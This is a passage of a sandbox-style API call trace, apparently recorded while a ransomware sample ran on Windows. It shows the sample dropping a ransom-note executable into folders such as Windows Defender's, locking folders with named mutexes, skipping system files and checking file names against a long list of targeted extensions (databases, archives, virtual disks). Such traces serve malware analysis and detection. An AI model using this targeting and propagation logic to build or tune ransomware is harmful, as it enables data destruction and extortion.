[0038.499] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0038.499] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0038.499] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0038.499] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0038.499] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0038.499] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0038.499] lstrlenW (lpString="Microsoft") returned 9 [0038.499] lstrcpyW (in: lpString1=0x241e894, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0038.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c398 [0038.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51ba80 [0038.499] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0038.499] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0038.499] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.503] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0038.503] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0038.503] ReleaseMutex (hMutex=0xec) returned 1 [0038.503] CloseHandle (hObject=0xec) returned 1 [0038.503] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Uninstall Information" | out: lpString1="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information" [0038.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515ce8 | out: hHeap=0x4f0000) returned 1 [0038.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c3b0 | out: hHeap=0x4f0000) returned 1 [0038.503] lstrlenW (lpString="C:\\Program Files\\Uninstall Information") returned 38 [0038.503] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\98CB88206B8611A30E0D73A05D98487C") returned 0xec [0038.503] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0038.503] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Uninstall Information" | out: lpString1="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information" [0038.503] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0038.503] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Uninstall Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\uninstall information\\how to back your files.exe"), bFailIfExists=1) returned 0 [0038.504] CreateFileW (lpFileName="C:\\Program Files\\Uninstall Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\uninstall information\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0038.504] GetLastError () returned 0x0 [0038.504] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0038.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0038.504] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0038.504] CloseHandle (hObject=0xf4) returned 1 [0038.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.504] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0038.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc43fe80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0038.504] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.504] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.504] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0038.504] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc43fe80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.504] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.505] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.505] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0038.505] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0038.505] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc43fe80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0038.505] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0038.505] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc43fe80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0038.505] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0038.505] ReleaseMutex (hMutex=0xec) returned 1 [0038.505] CloseHandle (hObject=0xec) returned 1 [0038.505] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Defender" | out: lpString1="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender" [0038.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5172a8 | out: hHeap=0x4f0000) returned 1 [0038.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c3c8 | out: hHeap=0x4f0000) returned 1 [0038.505] lstrlenW (lpString="C:\\Program Files\\Windows Defender") returned 33 [0038.505] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\860B72B21C10AF29592478D54A672C4E") returned 0xec [0038.505] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0038.505] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Defender" | out: lpString1="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender" [0038.505] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0038.505] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 0 [0038.505] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows defender\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0038.506] GetLastError () returned 0x0 [0038.506] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0038.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0038.506] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0038.506] CloseHandle (hObject=0xf4) returned 1 [0038.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.506] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0038.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc43fe80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0038.506] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.506] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.506] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0038.506] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc43fe80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.506] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.506] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.506] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0038.506] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0038.506] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0038.506] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.506] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.506] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0038.506] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0038.506] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0038.506] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0038.506] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0038.506] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0038.507] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0038.507] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0038.507] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0038.507] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0038.507] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0038.507] lstrlenW (lpString="en-US") returned 5 [0038.507] lstrcpyW (in: lpString1=0x241e88c, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0038.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3c8 [0038.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x515ce8 [0038.507] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0038.507] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0038.507] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Defender\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows defender\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.510] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc43fe80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0038.510] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0038.510] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bf9a40, ftCreationTime.dwHighDateTime=0x1d52d68, ftLastAccessTime.dwLowDateTime=0xde0a99c0, ftLastAccessTime.dwHighDateTime=0x1d55ccf, ftLastWriteTime.dwLowDateTime=0xde0a99c0, ftLastWriteTime.dwHighDateTime=0x1d55ccf, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="leaving.exe", cAlternateFileName="")) returned 1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2=".") returned 1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="..") returned 1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="windows") returned -1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="bootmgr") returned 1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="temp") returned -1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="pagefile.sys") returned -1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="boot") returned 1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="ids.txt") returned 1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="ntuser.dat") returned -1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="perflogs") returned -1 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2="MSBuild") returned -1 [0038.510] lstrlenW (lpString="leaving.exe") returned 11 [0038.510] lstrcpyW (in: lpString1=0x241e88c, lpString2="leaving.exe" | out: lpString1="leaving.exe") returned="leaving.exe" [0038.510] lstrlenW (lpString="leaving.exe") returned 11 [0038.510] lstrlenW (lpString="Athena865") returned 9 [0038.510] lstrcmpiW (lpString1="aving.exe", lpString2="Athena865") returned 1 [0038.510] lstrlenW (lpString=".dll") returned 4 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2=".dll") returned 1 [0038.510] lstrlenW (lpString=".lnk") returned 4 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2=".lnk") returned 1 [0038.510] lstrlenW (lpString=".ini") returned 4 [0038.510] lstrcmpiW (lpString1="leaving.exe", lpString2=".ini") returned 1 [0038.511] lstrlenW (lpString=".sys") returned 4 [0038.511] lstrcmpiW (lpString1="leaving.exe", lpString2=".sys") returned 1 [0038.511] lstrlenW (lpString="leaving.exe") returned 11 [0038.511] lstrlenW (lpString="bak") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0038.511] lstrlenW (lpString="ba_") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0038.511] lstrlenW (lpString="dbb") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0038.511] lstrlenW (lpString="vmdk") returned 4 [0038.511] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0038.511] lstrlenW (lpString="rar") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0038.511] lstrlenW (lpString="zip") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0038.511] lstrlenW (lpString="tgz") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0038.511] lstrlenW (lpString="vbox") returned 4 [0038.511] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0038.511] lstrlenW (lpString="vdi") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0038.511] lstrlenW (lpString="vhd") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0038.511] lstrlenW (lpString="vhdx") returned 4 [0038.511] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0038.511] lstrlenW (lpString="avhd") returned 4 [0038.511] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0038.511] lstrlenW (lpString="db") returned 2 [0038.511] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0038.511] lstrlenW (lpString="db2") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0038.511] lstrlenW (lpString="db3") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0038.511] lstrlenW (lpString="dbf") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0038.511] lstrlenW (lpString="mdf") returned 3 [0038.511] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0038.511] lstrlenW (lpString="mdb") returned 3 [0038.512] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0038.512] lstrlenW (lpString="sql") returned 3 [0038.512] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0038.512] lstrlenW (lpString="sqlite") returned 6 [0038.512] lstrcmpiW (lpString1="ng.exe", lpString2="sqlite") returned -1 [0038.512] lstrlenW (lpString="sqlite3") returned 7 [0038.512] lstrcmpiW (lpString1="ing.exe", lpString2="sqlite3") returned -1 [0038.512] lstrlenW (lpString="sqlitedb") returned 8 [0038.512] lstrcmpiW (lpString1="ving.exe", lpString2="sqlitedb") returned 1 [0038.512] lstrlenW (lpString="xml") returned 3 [0038.512] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0038.512] lstrlenW (lpString="$er") returned 3 [0038.512] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0038.512] lstrlenW (lpString="4dd") returned 3 [0038.512] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0038.512] lstrlenW (lpString="4dl") returned 3 [0038.512] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0038.512] lstrlenW (lpString="^^^") returned 3 [0038.512] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0038.512] lstrlenW (lpString="abs") returned 3 [0038.512] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0038.512] lstrlenW (lpString="abx") returned 3 [0038.512] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0038.512] lstrlenW (lpString="accdb") returned 5 [0038.512] lstrcmpiW (lpString1="g.exe", lpString2="accdb") returned 1 [0038.512] lstrlenW (lpString="accdc") returned 5 [0038.512] lstrcmpiW (lpString1="g.exe", lpString2="accdc") returned 1 [0038.512] lstrlenW (lpString="accde") returned 5 [0038.512] lstrcmpiW (lpString1="g.exe", lpString2="accde") returned 1 [0038.512] lstrlenW (lpString="accdr") returned 5 [0038.512] lstrcmpiW (lpString1="g.exe", lpString2="accdr") returned 1 [0038.512] lstrlenW (lpString="accdt") returned 5 [0038.512] lstrcmpiW (lpString1="g.exe", lpString2="accdt") returned 1 [0038.512] lstrlenW (lpString="accdw") returned 5 [0038.512] lstrcmpiW (lpString1="g.exe", lpString2="accdw") returned 1 [0038.512] lstrlenW (lpString="accft") returned 5 [0038.512] lstrcmpiW (lpString1="g.exe", lpString2="accft") returned 1 [0038.512] lstrlenW (lpString="adb") returned 3 [0038.512] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.513] lstrlenW (lpString="adb") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.513] lstrlenW (lpString="ade") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0038.513] lstrlenW (lpString="adf") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0038.513] lstrlenW (lpString="adn") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0038.513] lstrlenW (lpString="adp") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0038.513] lstrlenW (lpString="alf") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0038.513] lstrlenW (lpString="ask") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0038.513] lstrlenW (lpString="btr") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0038.513] lstrlenW (lpString="cat") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0038.513] lstrlenW (lpString="cdb") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0038.513] lstrlenW (lpString="ckp") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0038.513] lstrlenW (lpString="cma") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0038.513] lstrlenW (lpString="cpd") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0038.513] lstrlenW (lpString="dacpac") returned 6 [0038.513] lstrcmpiW (lpString1="ng.exe", lpString2="dacpac") returned 1 [0038.513] lstrlenW (lpString="dad") returned 3 [0038.513] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0038.513] lstrlenW (lpString="dadiagrams") returned 10 [0038.513] lstrcmpiW (lpString1="eaving.exe", lpString2="dadiagrams") returned 1 [0038.513] lstrlenW (lpString="daschema") returned 8 [0038.513] lstrcmpiW (lpString1="ving.exe", lpString2="daschema") returned 1 [0038.513] lstrlenW (lpString="db-journal") returned 10 [0038.513] lstrcmpiW (lpString1="eaving.exe", lpString2="db-journal") returned 1 [0038.513] lstrlenW (lpString="db-shm") returned 6 [0038.513] lstrcmpiW (lpString1="ng.exe", lpString2="db-shm") returned 1 [0038.513] lstrlenW (lpString="db-wal") returned 6 [0038.513] lstrcmpiW (lpString1="ng.exe", lpString2="db-wal") returned 1 [0038.514] lstrlenW (lpString="dbc") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0038.514] lstrlenW (lpString="dbs") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0038.514] lstrlenW (lpString="dbt") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0038.514] lstrlenW (lpString="dbv") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0038.514] lstrlenW (lpString="dbx") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0038.514] lstrlenW (lpString="dcb") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0038.514] lstrlenW (lpString="dct") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0038.514] lstrlenW (lpString="dcx") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0038.514] lstrlenW (lpString="ddl") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0038.514] lstrlenW (lpString="dlis") returned 4 [0038.514] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0038.514] lstrlenW (lpString="dp1") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0038.514] lstrlenW (lpString="dqy") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0038.514] lstrlenW (lpString="dsk") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0038.514] lstrlenW (lpString="dsn") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0038.514] lstrlenW (lpString="dtsx") returned 4 [0038.514] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0038.514] lstrlenW (lpString="dxl") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0038.514] lstrlenW (lpString="eco") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0038.514] lstrlenW (lpString="ecx") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0038.514] lstrlenW (lpString="edb") returned 3 [0038.514] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0038.514] lstrlenW (lpString="epim") returned 4 [0038.515] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0038.515] lstrlenW (lpString="fcd") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0038.515] lstrlenW (lpString="fdb") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0038.515] lstrlenW (lpString="fic") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0038.515] lstrlenW (lpString="flexolibrary") returned 12 [0038.515] lstrlenW (lpString="fm5") returned 3 [0038.515] lstrcmpiW (lpString1="exe", 